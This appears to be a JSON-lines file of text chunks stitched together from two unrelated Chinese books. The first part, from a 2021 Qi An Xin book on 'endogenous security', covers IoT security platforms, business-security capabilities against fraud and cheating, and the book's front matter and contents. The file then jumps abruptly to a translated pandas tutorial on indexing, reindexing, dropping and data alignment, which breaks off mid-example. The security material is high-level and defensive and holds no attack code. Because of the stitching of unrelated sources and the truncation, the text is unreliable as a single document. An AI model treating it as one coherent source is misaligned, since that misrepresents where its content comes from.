    {"text": "物联网安全接入平台亦可作为固件分发、配置管理的代理设备，减轻海量设备对云端服务器的访问压力，提高固件分发、补丁更新的收敛速度及收敛统计准确性。 18.3.3 物联网云端相关平台 ● 物联网统一安全管理平台 通过物联网统一安全管理平台实现与物联网管理/使能平台、系统安全平台、数据安全管理与分析平台、安全态势感知平台的横向打通，可以实现企业内部对感知层设备资产漏洞分布情况、运行状态与风险状况的掌握，实现对全域受管设备的统一策略编排、固件分发、虚拟补丁等安全管理能力，并实现与系统安全平台、安全态势感知平台、威胁情报通道的安全响应协同联动，完成架构安全、被动防御、主动防御、威胁情报等安全能力的贯通。 ● 物联网大数据威胁分析平台 为了能够在物联网系统全生命周期内持续有效地保障边缘安全，企业还需要结合大数据、态势感知、机器学习、威胁情报等新技术构建上层主动安全能力。 大量感知层设备的接入会产生海量的业务、行为、流量等多维度数据，通过机器学习技术，在大数据威胁分析平台对全域数据进行持续分析、建模、训练，以实现设备指纹特征、网络行为、威胁行为识别等感知模型的持续优化。 通过对部署在边缘计算节点的感知模型进行持续更新，达成边缘安全保障能力，保持与云端大数据识别能力的同步自进化，进而通过安全态势感知平台打通边缘侧行为、事件与全域安全事件态势的关联，能够进一步提升安全态势感知的时效性和态势判断能力，提高安全决策效率。"},
    {"text": "第19章 业务安全能力支撑 19.1 业务转型与业务安全新要求 19.1.1 业务线上化转型成为发展新趋势 移动互联、云计算等新兴技术的广泛应用，推动着企业向数字化转型。"},
    {"text": "除此以外，远程医疗、电子商务、移动支付、在线教育等线上化业务不断进入人们的视野，各式各样的线上业务在颠覆人们与产品互动方式的同时，也改变着人们的生活及行为习惯。 19.1.2 业务线上化发展带来新挑战 ● 外部威胁逐渐增多 企业重视自身与终端用户的便捷交互，在为用户带来更方便、更快捷、更强交互感的体验的同时，也不可避免地将自身业务风险暴露在充满威胁的开放式环境中。"},
    {"text": "随着企业间的营销竞争打破传统的实体边界，向更加开放、更加激烈的线上业务迈进，趋利本能驱动并促生了“地下黑产”的出现。 地下黑产专门利用企业业务漏洞、风控不严等缺陷进行牟利，涉及范围之广，几乎横跨各行各业——从游戏业虚假登录注册到电商营销作弊，从社交媒体流量作弊到制造业商业机密外泄，从航空业恶意刷票到政府机关平台数据盗爬。"},
    {"text": "● 内部威胁日趋严重 除了面对来自外部的业务风险威胁，企业内部员工违规操作带来的业务操作风险、合规风险也不容小觑。 企业员工内部欺诈、内外勾结违规操作的行为具有隐蔽性强、持续性久、暴发危害大、造成损失大的特点。 尤其是一些隐藏多年、累积甚多的内部风险的暴发，给企业动辄带来上千万甚至上亿元损失，这些损失不仅会直接影响企业的盈利能力，甚至会影响企业业务整体的发展存续，是企业业务推进的一大阻碍。 19.1.3 新形势下的业务安全痛点 ● 新技术的发展与融合，不断催生新的业务风险场景 随着业务不断复杂化，多风险场景、组合风险场景正逐渐成为业务风险场景新常态，这使得业务安全也面临不断升级的风险态势，风险形势更加错综复杂。 ● 应用技术复杂化不断衍生新的业务安全风险 在技术不断推陈出新的当下，不仅企业会选择运用新型技术为业务赋能，外部攻击者也在持续更新自身技术以突破企业业务安全防护；"},
    {"text": "● 黑产向专业化发展，产业链逐步形成 随着企业线上业务的不断开展，业务场景不断丰富，这给黑产提供的机会也越来越多。 新技术的应用缩短了黑产上下游响应时间，消除了地理条件的障碍，再加上精细化分工，上下游产业职责明确，这在极大提升黑产获利效率的同时，也逐步形成了一条完整的产业链。"},
    {"text": "● 企业内部存在不合理的操作、不可靠的人员、不完善的业务和系统 不合理的操作往往会致使业务风险事件的产生。 导致不合理操作的原因主要有三方面：不可靠的人员、不完善的业务、不完善的系统。 不可靠的人员是指员工违规导致内部欺诈或与外部不法分子内外勾结，针对业务漏洞进行牟利。 不完善的业务主要指因业务开展时风控设计未通过业务视角去发现风险安全问题，以致业务出现风险漏洞，而被内外部欺诈者攻击、利用。 不完善的系统是指业务安全系统存在系统漏洞而被内外部欺诈者攻击、利用。"},
    {"text": "面对这些风险，若采取传统的风控管控模式，则不具备动态适应业务发展的能力，极易形成业务安全防控盲区，形成猝不及防、疲于应付的被动局面。 ● 业务发展与安全未能有效统一，存在割裂 首先，脱离业务谈合规，风控手段就会僵化，无法适恰业务甚至阻碍业务发展。 脱离合规谈业务，业务发展没有合规的保障与约束，极易触碰监管红线，同时也会引起员工合规意识淡漠，导致内部违规事件产生。"},
    {"text": "数据无法充分利用，风控效果不佳； 数据碎片化导致风险信息碎片化，无法获取内部的一手风险情报，不能及时探知业务风险点，业务保障功能达到瓶颈。 最后，业务安全缺乏AI技术有效赋能，业务发展与风控应用技术不匹配，无法应对迅速迭代的业务带来的各类风险。"},
    {"text": "19.1.4 业务安全能力新要求 面对愈加复杂的业务安全态势，传统业务安全措施不断暴露出保障效果不佳、业务流程与风控措施割裂，甚至阻碍业务有序发展等问题。"},
    {"text": "当传统的泛安全、统一化的风控安全已经不适用于当下迅速发展的业务节奏时，以业务为核心，自洽于自身业务的持续性对抗风险的业务安全能力，将成为衡量一家公司整体安全能力的关键要素。 19.2 什么是业务安全能力 19.2.1 基本概念 企业的业务安全能力，即以保障企业整体业务流程顺畅，帮助企业降低成本、提升收益，进一步增强企业竞争力为核心目标，以业务中出现或可能出现的风险为场景，基于业务流程中的内生数据，充分利用大数据分析等技术，有效防范企业业务流程中出现的各类内外部风险威胁的持续性业务风险管控、安全保障能力。 19.2.2 能力范围 从广义上划分，在业务开展过程中，针对任何威胁业务的正常开展而采取的风控、安全措施均属于业务安全能力范畴，涉及信用风险、市场风险和操作风险等多方面。 狭义上，业务安全能力范围与企业自身业务形态、产品模式高度匹配，多与业务中涉及的欺诈风险、操作风险相关。 例如涉及账号管理的业务会存在虚假账号风险，营销活动会遇到营销作弊问题，支付交易业务会存在盗用资金的风险，信用贷款业务会存在违约欺诈风险，基于实名身份开展的业务会存在身份冒用问题，业务人员违规操作会带来操作风险等。 19.2.3 总体架构 业务安全能力体系的构建，以业务流程内生数据为基础，围绕四方面打造企业对抗业务风险的专项能力，即客户信息保护能力、反作弊能力、反欺诈能力及内容识别能力，覆盖业务不同环节，有效管控业务安全风险，如图19.1所示。 图19.1 企业级业务安全能力体系架构图 19.2.4 核心技术 ● 异常行为分析 通过关联用户活动和相关实体信息来构建人物角色与群组，定义个体与群组的正常行为，然后与不同异常行为个体、群体进行多维度的相互比对分析，将异常行为个体检测出来，从而能够检测出业务欺诈、敏感数据泄露，并能发现内部违规员工、找到有针对性的攻击等。 ● 业务全局风险视图 通过业务全局风险视图，针对性地定制风险指标，精准展示各部门业务人员风险轮廓与特征，重点解决决策层面临的风险信息分散、不充分、结构化不高等问题，有效过滤冗杂信息垃圾，帮助决策人员及时掌握业务全流程风险态势，对业务安全风险做到及时预警、及时知晓、及时响应。 ● 智能化模型分析 将专家规则“取其精华，去其糟粕”，利用大数据、机器学习技术将模型智能化，这不仅有效满足各类业务需求，而且也能支持后续工作进行智能化的持续迭代。"},
    {"text": "19.2.5 关键要素 ● 充分利用企业内部数据资产 业务衍生的内部数据资源，能充分反映企业目前的业务发展状况、风险态势。 利用内生数据和风控安全措施的有效聚合，建立起业务与风控安全统一的关系数据模型，可以打造企业针对自身业务特性以及立足于自己业务安全需求的安全能力。 ● 有效发挥大数据分析等AI技术的能力 利用大数据分析等技术，把不同业务环节的数据聚合成一个完整的业务安全数据视图，通过AI智能模型发现隐藏在复杂关系背后的业务安全问题。 ● 整合业务、合规、数据、AI技术能力 通过跨部门联动，打破业务安全管控环节的信息壁垒，将业务、合规、数据、AI技术进行能力整合。 通过业务视角发现风险问题，利用业务内生数据资源，以AI技术为纽带，充分弥合风控安全与业务发展之间的割裂，进行业务安全一体化流程的重塑。"},
    {"text": "19.2.6 预期成效 ● 弥合业务风险管理盲点和漏洞 通过建设业务安全能力，充分利用业内数据，以科技手段延伸至以前因各种限制而导致工作未能有效覆盖的区域，帮助发现业务深层隐患，填补业务风险管理漏洞。 ● 有效降低由于内外部威胁带来的各类损失 通过建设业务安全能力，做到业务外部威胁及时预警、及时处置，业务内部违规风险实时监测，可知可控，确保覆盖风险盲区，保障企业资产免受、少受影响，将直接损失降至最低。 ● 为业务发展“保驾护航” 通过建设业务安全能力，有效提升业务转型及新业务开展工作的效能，及时适应业务变化，弹性配置适合新业务开展的业务安全需求，为新业务的开展与业务转型扫除障碍。 19.3 业务安全能力支撑建设要点 19.3.1 业务支撑要点 ● 互联网服务业务领域 主要关注为业务平台嵌入客户账户保护、人机识别组件，接入客户账号保护、人机识别的安全服务，强化注册、登录等环节的安全管控，实现批量注册、虚假账号的识别和拦截。 ● 营销业务领域 主要关注建设营销安全系统，在隐私合规的前提下采用大数据智能技术，分析设备、环境、行为等信息，发现并防范刷单、薅羊毛等异常的“黑灰产”行为。 ● 操作风险业务领域 重点关注建设反欺诈监测平台，通过大数据分析、可视化分析等技术增强内外部欺诈风险事件的检测能力，通过欺诈风险事件的检测、分析、处置、反馈的闭环流程，完善业务操作风险的防范工作。 ● 渠道推广业务领域 在面向渠道推广业务领域，重点关注建设渠道反作弊系统，对抗虚假点击等流量作弊； 在面向音视图文等内容业务领域，重点关注为业务平台嵌入内容安全组件，接入内容安全服务，发现并拦截涉恐、涉黄等非法内容，保障平台内容安全及业务合规。"},
    {"text": "企业在面对内外部威胁的同时，还需要将客户身份及隐私信息纳入企业数据安全防护体系，防范客户身份信息泄露和盗用。 这也为企业在针对业务安全环节上的技术能力提出了新要求：首先，具有可以全面探知各业务领域风险点的业务风险态势感知能力；"},
    {"text": "● 建立账号安全保护机制 重点制备客户账号保护组件，在注册、登录页面嵌入客户账号保护组件，对接注册和登录系统，接入具备识别虚假注册、盗号登录、撞库盗号等安全能力的客户账号保护服务，结合威胁情报输出判定结果并反馈给注册和登录系统处置。 ● 配置人机识别组件 将人机识别组件嵌入访问页面，对接业务系统，接入人机识别的安全服务，利用浏览器指纹、用户行为分析、自动浏览器检测等技术结合威胁情报输出判定结果并反馈给业务系统进行拦截，有效解决身份识别问题。 ● 构建身份信息防护体系 将涉及客户身份及隐私信息的系统纳入企业数据安全防护体系，利用防护体系中的API安全代理、数据访问控制系统、数据脱敏系统加强API接口、数据的访问控制，进行数据脱敏，防范客户信息泄露。 ● 建设营销活动安全系统 重点制备数据采集组件，在关键业务流程中嵌入数据采集组件，并搜集数据，通过团伙挖掘、异常行为分析等技术建立针对刷单、薅羊毛等异常行为的安全策略和模型并上线，结合威胁情报输出判定结果并反馈给业务系统处置。 ● 建设反欺诈监测平台 针对业务中涉及的操作风险问题，应建设反欺诈监测平台，对接业务系统，通过业务访谈提炼业务风险点，利用大数据分析、可视化分析、用户行为分析等技术分析业务数据，结合威胁情报建立安全策略和模型并上线，实现欺诈风险事件的检测、调查分析、响应、反馈等闭环处置。 ● 建设渠道反作弊系统 针对渠道推广业务问题，应建设渠道反作弊系统，通过制备数据采集组件，在业务平台添加数据采集组件，采集设备、环境、行为等数据，结合威胁情报建立针对虚假点击等行为的安全策略和模型，对接业务平台，实现作弊行为的实时过滤。 ● 构建内容拦截机制 重点制备内容安全组件，为业务平台嵌入内容安全组件，对接业务平台，为接入内容提供安全服务，在发现涉黄、涉恐等非法内容时，结合威胁情报反馈给业务平台进行拦截，从而解决音视图文等内容业务问题。"},
    {"text": "注释 [1] 在计算机科学中，相对于其他复杂交互的计算机终端而言，哑终端是功能较为有限、交互方式比较单一的简单计算机终端。 哑终端的具体含义根据不同的场合（语境）而变化，此处是指打印机、扫描仪这类特殊的输入/输出设备。"},
    {"text": "人，指制造产品的人员； 机，指制造产品所用的设备； 料，指制造产品所使用的原材料； 法，指制造产品所使用的方法； 环，指产品制造过程中所处的环境。"},
    {"text": "[3] NICE（美国国家网络安全教育计划）是美国政府出台的一项旨在加强政、产、学各界合作，关注网络安全教育、培训和人力开发的国家级计划。"},
    {"text": "版权信息 图书在版编目（CIP）数据 内生安全：新一代网络安全框架体系与实践 / 奇安信战略咨询规划部，奇安信行业安全研究中心著. -- 北京：人民邮电出版社，2021.4 ISBN 978-7-115-55848-0 Ⅰ. ①内… Ⅱ. ①奇… ②奇… Ⅲ. ①计算机网络一网络安全一研究 Ⅳ. ①TP393.08 中国版本图书馆CIP数据核字（2020）第268265号 著 奇安信战略咨询规划部 奇安信行业安全研究中心 责任编辑 傅道坤 责任印制 王 郁 彭志环 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 https：//www.ptpress.com.cn 大厂回族自治县聚鑫印刷有限责任公司印刷 开本：720×960 1/16 印张：17.25 字数：326千字 2021年4月第1版 印数：1–6800册 2021年4月河北第1次印刷 定价：89.00元 读者服务热线：（010）81055410 印装质量热线：（010）81055316 反盗版热线：（010）81055315 广告经营许可证：京东市监广登字20170147号 未知 内 容 提 要 本书是奇安信公司对内生安全理念以及实施策略的深度解读，详细介绍了内生安全理念的产生背景、内生安全的内涵与特性、内生安全建设的方法论基础、内生安全的关键要素等内容。本书还阐述了“新一代网络安全框架”的具体内容和建设方法，具体包括新一代身份安全、重构企业级网络纵深防御、数字化终端及接入环境安全、面向云的数据中心安全防护、面向大数据应用的数据安全防护、面向实战化的全局态势感知体系、面向资产/漏洞/配置/补丁的系统安全、工业生产网安全防护、内部威胁防护体系、密码专项十大工程，以及实战化安全运行能力建设、安全人员能力支撑、应用安全能力支撑、物联网安全能力支撑、业务安全能力支撑五大任务。 本书可以为政企“十四五”网络安全的规划、设计提供思路与建议。新一代网络安全框架从甲方视角、信息化视角、网络安全顶层视角呈现出政企网络安全体系全景，通过以能力为导向的网络安全体系设计方法，规划出面向“十四五”期间的建设实施项目库（重点工程与任务），并设计出将网络安全与信息化相融合的目标技术体系和目标运行体系，可供政企参考借鉴。 未知 编委会 顾 问：王轴可 主 任：吴云坤 副主任：韩永刚 刘 洋 裴智勇 编 委：（按姓氏拼音排序） 丁大鹏 黄 海 李建平 李 钠 刘川琦 刘川意 刘 浩 刘宇馨 卢维清 陆明烈 潘 山 乔思远 宋 强 许传朝 杨 波 杨东晓 尹 磊 张晓兵 张泽洲 赵梦虎 未知 随时、随地、随心阅读 当当云阅读 未知 内生安全 新一代网络安全框架体系与实践 奇安信战略咨询规划部 奇安信行业安全研究中心 著 人 民 邮 电 出 版 社 北 京"},
    {"text": "Contents 目录 内 容 提 要 编委会 作者简介 章节贡献人 序 前言 本书组织结构 致谢 资源与支持 提交勘误 扫码关注本书 与我们联系 关于异步社区和异步图书 第1部分 为什么需要内生安全 第1章 信息化的发展与安全的挑战 1.1 信息化的发展历程 1.2 网络安全的发展历程 1.3 国家网络安全战略的新要求 1.4 数字化时代的安全新挑战 1.5 信息化保障呼唤内生安全 第2部分 什么是内生安全 第2章 内生安全的内涵与特性 2.1 内生安全的理念 2.2 内生安全的特点 2.3 内生安全优势和价值 2.4 三大关键落地内生安全 第3章 内生安全建设的方法论基础 3.1 EA方法论简述 3.2 内生安全思想与EA方法论 第4章 新一代网络安全框架 4.1 新一代网络安全框架的概述 4.2 新一代网络安全框架的主要组件 4.3 新一代网络安全框架的关键工具 第3部分 怎样建设内生安全 第5章 新一代身份安全 5.1 数字化转型与业务发展的新要求 5.2 什么是新一代身份安全 5.3 新一代身份安全建设要点 第6章 重构企业级网络纵深防御 6.1 数字化转型与业务发展的新要求 6.2 如何重构企业级网络纵深防御 6.3 重构企业级网络纵深防御的方法与要点 第7章 数字化终端及接入环境安全 7.1 数字化转型与业务发展的新要求 7.2 什么是数字化终端及接入环境安全 7.3 数字化终端及接入环境安全建设要点 第8章 面向云的数据中心安全防护 8.1 数字化转型与业务发展的新要求 8.2 什么是面向云的数据中心安全防护 8.3 面向云的数据中心安全防护建设的方法和要点 第9章 面向大数据应用的数据安全防护 9.1 数字化转型与业务发展的新要求 9.2 什么是面向大数据应用的数据安全防护 9.3 面向大数据应用的数据安全防护建设要点 第10章 面向实战化的全局态势感知体系 10.1 数字化转型与业务发展的新要求 10.2 什么是面向实战化的全局态势感知体系 10.3 面向实战化的全局态势感知体系建设要点 第11章 面向资产/漏洞/配置/补丁的系统安全 11.1 数字化转型与业务发展的新要求 11.2 什么是面向资产/漏洞/配置/补丁的系统安全 11.3 面向资产/漏洞/配置/补丁的系统安全建设要点 第12章 工业生产网安全防护 12.1 数字化转型与业务发展的新要求 12.2 什么是工业生产网安全防护 12.3 工业生产网安全防护建设要点 第13章 内部威胁防护体系 13.1 数字化转型与业务发展的新要求 13.2 什么是内部威胁防护体系 13.3 内部威胁防护体系建设要点 第14章 密码专项 14.1 数字化转型与业务发展的新要求 14.2 什么是密码专项框架 14.3 建设密码专项框架的方法与要点 第15章 实战化安全运行能力建设 15.1 通过安全运行回归安全本质 15.2 什么是实战化安全运行能力 15.3 实战化安全运行能力建设要点 第16章 安全人员能力支撑 16.1 数字化转型与业务发展的新要求 16.2 什么是安全人员能力 16.3 安全人员能力建设的方法与要点 第17章 应用安全能力支撑 17.1 数字化转型与业务发展的新要求 17.2 什么是应用安全能力支撑 17.3 应用安全能力支撑的方法和要点 第18章 物联网安全能力支撑 18.1 物联网支撑企业数字化转型带来新的威胁 18.2 什么是物联网安全能力支撑 18.3 物联网安全能力支撑建设方法与要点 第19章 业务安全能力支撑 19.1 业务转型与业务安全新要求 19.2 什么是业务安全能力 19.3 业务安全能力支撑建设要点 Cover"},
    {"text": "Table of Contents Document Outline 简介 第01章 准备工作 第02章 Python语法基础，IPython和Jupyter Notebooks 第03章 Python的数据结构、函数和文件 第04章 NumPy基础：数组和矢量计算 第05章 pandas入门 第06章 数据加载、存储与文件格式 第07章 数据清洗和准备 第08章 数据规整：聚合、合并和重塑 第09章 绘图和可视化 第10章 数据聚合与分组运算 第11章 时间序列 第12章 pandas高级应用 第13章 Python建模库介绍 第14章 数据分析案例 附录A NumPy高级应用 附录B 更多关于IPython的内容（完）"},
    {"text": "Table of Contents In [75]: frame2.values Out[75]: array([[2000, 'Ohio', 1.5, nan], [2001, 'Ohio', 1.7, -1.2], [2002, 'Ohio', 3.6, nan], [2001, 'Nevada', 2.4, -1.5], [2002, 'Nevada', 2.9, -1.7], [2003, 'Nevada', 3.2, nan]], dtype=object) 索引对象 pandas的索引对象负责管理轴标签和其他元数据（比如轴名称等）。"},
    {"text": "构建Series或DataFrame 时，所用到的任何数组或其他序列的标签都会被转换成一个Index： In [76]: obj = pd.Series(range(3), index=['a', 'b', 'c']) In [77]: index = obj.index In [78]: index Out[78]: Index(['a', 'b', 'c'], dtype='object') In [79]: index[1:] Out[79]: Index(['b', 'c'], dtype='object') Index对象是不可变的，因此用户不能对其进行修改： index[1] = 'd' # TypeError 不可变可以使Index对象在多个数据结构之间安全共享： In [80]: labels = pd.Index(np.arange(3)) 135 In [81]: labels Out[81]: Int64Index([0, 1, 2], dtype='int64') In [82]: obj2 = pd.Series([1.5, -2.5, 0], index=labels) In [83]: obj2 Out[83]: 0 1.5 1 -2.5 2 0.0 dtype: float64 In [84]: obj2.index is labels Out[84]: True 注意：虽然用户不需要经常使用Index的功能，但是因为一些操作会生成包含被索引化的数 据，理解它们的工作原理是很重要的。 除了类似于数组，Index的功能也类似一个固定大小的集合： In [85]: frame3 Out[85]: state Nevada Ohio year 2000 NaN 1.5 2001 2.4 1.7 2002 2.9 3.6 In [86]: frame3.columns Out[86]: Index(['Nevada', 'Ohio'], dtype='object', name='state') In [87]: 'Ohio' in frame3.columns Out[87]: True In [88]: 2003 in frame3.index Out[88]: False 与python的集合不同，pandas的Index可以包含重复的标签： In [89]: dup_labels = pd.Index(['foo', 'foo', 'bar', 'bar']) In [90]: dup_labels Out[90]: Index(['foo', 'foo', 'bar', 'bar'], dtype='object') 选择重复的标签，会显示所有的结果。"},
    {"text": "看下 面的例子： In [91]: obj = pd.Series([4.5, 7.2, -5.3, 3.6], index=['d', 'b', 'a', 'c']) In [92]: obj Out[92]: d 4.5 b 7.2 a -5.3 c 3.6 dtype: float64 用该Series的reindex将会根据新索引进行重排。 如果某个索引值当前不存在，就引入缺失值： 137 In [93]: obj2 = obj.reindex(['a', 'b', 'c', 'd', 'e']) In [94]: obj2 Out[94]: a -5.3 b 7.2 c 3.6 d 4.5 e NaN dtype: float64 对于时间序列这样的有序数据，重新索引时可能需要做一些插值处理。 method选项即可达到此目 的，例如，使用ffill可以实现前向值填充： In [95]: obj3 = pd.Series(['blue', 'purple', 'yellow'], index=[0, 2, 4]) In [96]: obj3 Out[96]: 0 blue 2 purple 4 yellow dtype: object In [97]: obj3.reindex(range(6), method='ffill') Out[97]: 0 blue 1 blue 2 purple 3 purple 4 yellow 5 yellow dtype: object 借助DataFrame，reindex可以修改（行）索引和列。 只传递一个序列时，会重新索引结果的行： In [98]: frame = pd.DataFrame(np.arange(9).reshape((3, 3)), ....: index=['a', 'c', 'd'], ....: columns=['Ohio', 'Texas', 'California']) In [99]: frame Out[99]: Ohio Texas California a 0 1 2 c 3 4 5 d 6 7 8 138 In [100]: frame2 = frame.reindex(['a', 'b', 'c', 'd']) In [101]: frame2 Out[101]: Ohio Texas California a 0.0 1.0 2.0 b NaN NaN NaN c 3.0 4.0 5.0 d 6.0 7.0 8.0 列可以用columns关键字重新索引： In [102]: states = ['Texas', 'Utah', 'California'] In [103]: frame.reindex(columns=states) Out[103]: Texas Utah California a 1 NaN 2 c 4 NaN 5 d 7 NaN 8 表5-3列出了reindex函数的各参数及说明。"},
    {"text": "由于需要执行一些数据整 理和集合逻辑，所以drop方法返回的是一个在指定轴上删除了指定值的新对象： In [105]: obj = pd.Series(np.arange(5.), index=['a', 'b', 'c', 'd', 'e']) In [106]: obj 139 Out[106]: a 0.0 b 1.0 c 2.0 d 3.0 e 4.0 dtype: float64 In [107]: new_obj = obj.drop('c') In [108]: new_obj Out[108]: a 0.0 b 1.0 d 3.0 e 4.0 dtype: float64 In [109]: obj.drop(['d', 'c']) Out[109]: a 0.0 b 1.0 e 4.0 dtype: float64 对于DataFrame，可以删除任意轴上的索引值。 为了演示，先新建一个DataFrame例子： In [110]: data = pd.DataFrame(np.arange(16).reshape((4, 4)), .....: index=['Ohio', 'Colorado', 'Utah', 'New York'], .....: columns=['one', 'two', 'three', 'four']) In [111]: data Out[111]: one two three four Ohio 0 1 2 3 Colorado 4 5 6 7 Utah 8 9 10 11 New York 12 13 14 15 用标签序列调用drop会从行标签（axis 0）删除值： In [112]: data.drop(['Colorado', 'Ohio']) Out[112]: one two three four Utah 8 9 10 11 New York 12 13 14 15 140 通过传递axis=1或axis='columns'可以删除列的值： In [113]: data.drop('two', axis=1) Out[113]: one three four Ohio 0 2 3 Colorado 4 6 7 Utah 8 10 11 New York 12 14 15 In [114]: data.drop(['two', 'four'], axis='columns') Out[114]: one three Ohio 0 2 Colorado 4 6 Utah 8 10 New York 12 14 许多函数，如drop，会修改Series或DataFrame的大小或形状，可以就地修改对象，不会返回新的 对象： In [115]: obj.drop('c', inplace=True) In [116]: obj Out[116]: a 0.0 b 1.0 d 3.0 e 4.0 dtype: float64 小心使用inplace，它会销毁所有被删除的数据。"},
    {"text": "下面是几个例子： In [117]: obj = pd.Series(np.arange(4.), index=['a', 'b', 'c', 'd']) In [118]: obj Out[118]: a 0.0 b 1.0 c 2.0 141 d 3.0 dtype: float64 In [119]: obj['b'] Out[119]: 1.0 In [120]: obj[1] Out[120]: 1.0 In [121]: obj[2:4] Out[121]: c 2.0 d 3.0 dtype: float64 In [122]: obj[['b', 'a', 'd']] Out[122]: b 1.0 a 0.0 d 3.0 dtype: float64 In [123]: obj[[1, 3]] Out[123]: b 1.0 d 3.0 dtype: float64 In [124]: obj[obj < 2] Out[124]: a 0.0 b 1.0 dtype: float64 利用标签的切片运算与普通的Python切片运算不同，其末端是包含的： In [125]: obj['b':'c'] Out[125]: b 1.0 c 2.0 dtype: float64 用切片可以对Series的相应部分进行设置： In [126]: obj['b':'c'] = 5 In [127]: obj 142 Out[127]: a 0.0 b 5.0 c 5.0 d 3.0 dtype: float64 用一个值或序列对DataFrame进行索引其实就是获取一个或多个列： In [128]: data = pd.DataFrame(np.arange(16).reshape((4, 4)), .....: index=['Ohio', 'Colorado', 'Utah', 'New York'], .....: columns=['one', 'two', 'three', 'four']) In [129]: data Out[129]: one two three four Ohio 0 1 2 3 Colorado 4 5 6 7 Utah 8 9 10 11 New York 12 13 14 15 In [130]: data['two'] Out[130]: Ohio 1 Colorado 5 Utah 9 New York 13 Name: two, dtype: int64 In [131]: data[['three', 'one']] Out[131]: three one Ohio 2 0 Colorado 6 4 Utah 10 8 New York 14 12 这种索引方式有几个特殊的情况。"},
    {"text": "首先通过切片或布尔型数组选取数据： In [132]: data[:2] Out[132]: one two three four Ohio 0 1 2 3 Colorado 4 5 6 7 In [133]: data[data['three'] > 5] Out[133]: 143 one two three four Colorado 4 5 6 7 Utah 8 9 10 11 New York 12 13 14 15 选取行的语法data[:2]十分方便。"},
    {"text": "另一种用法是通过布尔型DataFrame（比如下面这个由标量比较运算得出的）进行索引： In [134]: data < 5 Out[134]: one two three four Ohio True True True True Colorado True False False False Utah False False False False New York False False False False In [135]: data[data < 5] = 0 In [136]: data Out[136]: one two three four Ohio 0 0 0 0 Colorado 0 5 6 7 Utah 8 9 10 11 New York 12 13 14 15 这使得DataFrame的语法与NumPy二维数组的语法很像。"},
    {"text": "用 loc 和 iloc 进行选取 对于DataFrame的行的标签索引，我引入了特殊的标签运算符loc和iloc。 它们可以让你用类似 NumPy的标记，使用轴标签（loc）或整数索引（iloc），从DataFrame选择行和列的子集。"},
    {"text": "作为一个初步示例，让我们通过标签选择一行和多列： In [137]: data.loc['Colorado', ['two', 'three']] Out[137]: two 5 three 6 Name: Colorado, dtype: int64 然后用iloc和整数进行选取： In [138]: data.iloc[2, [3, 0, 1]] Out[138]: 144 four 11 one 8 two 9 Name: Utah, dtype: int64 In [139]: data.iloc[2] Out[139]: one 8 two 9 three 10 four 11 Name: Utah, dtype: int64 In [140]: data.iloc[[1, 2], [3, 0, 1]] Out[140]: four one two Colorado 7 0 5 Utah 11 8 9 这两个索引函数也适用于一个标签或多个标签的切片： In [141]: data.loc[:'Utah', 'two'] Out[141]: Ohio 0 Colorado 5 Utah 9 Name: two, dtype: int64 In [142]: data.iloc[:, :3][data.three > 5] Out[142]: one two three Colorado 0 5 6 Utah 8 9 10 New York 12 13 14 所以，在pandas中，有多个方法可以选取和重新组合数据。"},
    {"text": "145 整数索引 处理整数索引的pandas对象常常难住新手，因为它与Python内置的列表和元组的索引语法不同。 例如，你可能不认为下面的代码会出错： ser = pd.Series(np.arange(3.)) ser ser[-1] 这里，pandas可以勉强进行整数索引，但是会导致小bug。"},
    {"text": "我们有包含0,1,2的索引，但是引入用 户想要的东西（基于标签或位置的索引）很难： In [144]: ser Out[144]: 0 0.0 1 1.0 2 2.0 dtype: float64 另外，对于非整数索引，不会产生歧义： In [145]: ser2 = pd.Series(np.arange(3.), index=['a', 'b', 'c']) In [146]: ser2[-1] Out[146]: 2.0 146 为了进行统一，如果轴索引含有整数，数据选取总会使用标签。"},
    {"text": "为了更准确，请使用loc（标签） 或iloc（整数）： In [147]: ser[:1] Out[147]: 0 0.0 dtype: float64 In [148]: ser.loc[:1] Out[148]: 0 0.0 1 1.0 dtype: float64 In [149]: ser.iloc[:1] Out[149]: 0 0.0 dtype: float64 算术运算和数据对齐 pandas最重要的一个功能是，它可以对不同索引的对象进行算术运算。"},
    {"text": "看一个简单的例子： In [150]: s1 = pd.Series([7.3, -2.5, 3.4, 1.5], index=['a', 'c', 'd', 'e']) In [151]: s2 = pd.Series([-2.1, 3.6, -1.5, 4, 3.1], .....: index=['a', 'c', 'e', 'f', 'g']) In [152]: s1 Out[152]: a 7.3 c -2.5 d 3.4 e 1.5 dtype: float64 In [153]: s2 Out[153]: a -2.1 c 3.6 e -1.5 f 4.0 g 3.1 dtype: float64 147 将它们相加就会产生： In [154]: s1 + s2 Out[154]: a 5.2 c 1.1 d NaN e 0.0 f NaN g NaN dtype: float64 自动的数据对齐操作在不重叠的索引处引入了NA值。"},
    {"text": "对于DataFrame，对齐操作会同时发生在行和列上： In [155]: df1 = pd.DataFrame(np.arange(9.).reshape((3, 3)), columns=list('bcd'), .....: index=['Ohio', 'Texas', 'Colorado']) In [156]: df2 = pd.DataFrame(np.arange(12.).reshape((4, 3)), columns=list('bde'), .....: index=['Utah', 'Ohio', 'Texas', 'Oregon']) In [157]: df1 Out[157]: b c d Ohio 0.0 1.0 2.0 Texas 3.0 4.0 5.0 Colorado 6.0 7.0 8.0 In [158]: df2 Out[158]: b d e Utah 0.0 1.0 2.0 Ohio 3.0 4.0 5.0 Texas 6.0 7.0 8.0 Oregon 9.0 10.0 11.0 把它们相加后将会返回一个新的DataFrame，其索引和列为原来那两个DataFrame的并集： In [159]: df1 + df2 Out[159]: b c d e Colorado NaN NaN NaN NaN Ohio 3.0 NaN 6.0 NaN Oregon NaN NaN NaN NaN Texas 9.0 NaN 12.0 NaN 148 Utah NaN NaN NaN NaN 因为'c'和'e'列均不在两个DataFrame对象中，在结果中以缺省值呈现。"},
    {"text": "如果DataFrame对象相加，没有共用的列或行标签，结果都会是空： In [160]: df1 = pd.DataFrame({'A': [1, 2]}) In [161]: df2 = pd.DataFrame({'B': [3, 4]}) In [162]: df1 Out[162]: A 0 1 1 2 In [163]: df2 Out[163]: B 0 3 1 4 In [164]: df1 - df2 Out[164]: A B 0 NaN NaN 1 NaN NaN 在算术方法中填充值 在对不同索引的对象进行算术运算时，你可能希望当一个对象中某个轴标签在另一个对象中找不到 时填充一个特殊值（比如0）： In [165]: df1 = pd.DataFrame(np.arange(12.).reshape((3, 4)), .....: columns=list('abcd')) In [166]: df2 = pd.DataFrame(np.arange(20.).reshape((4, 5)), .....: columns=list('abcde')) In [167]: df2.loc[1, 'b'] = np.nan In [168]: df1 Out[168]: a b c d 0 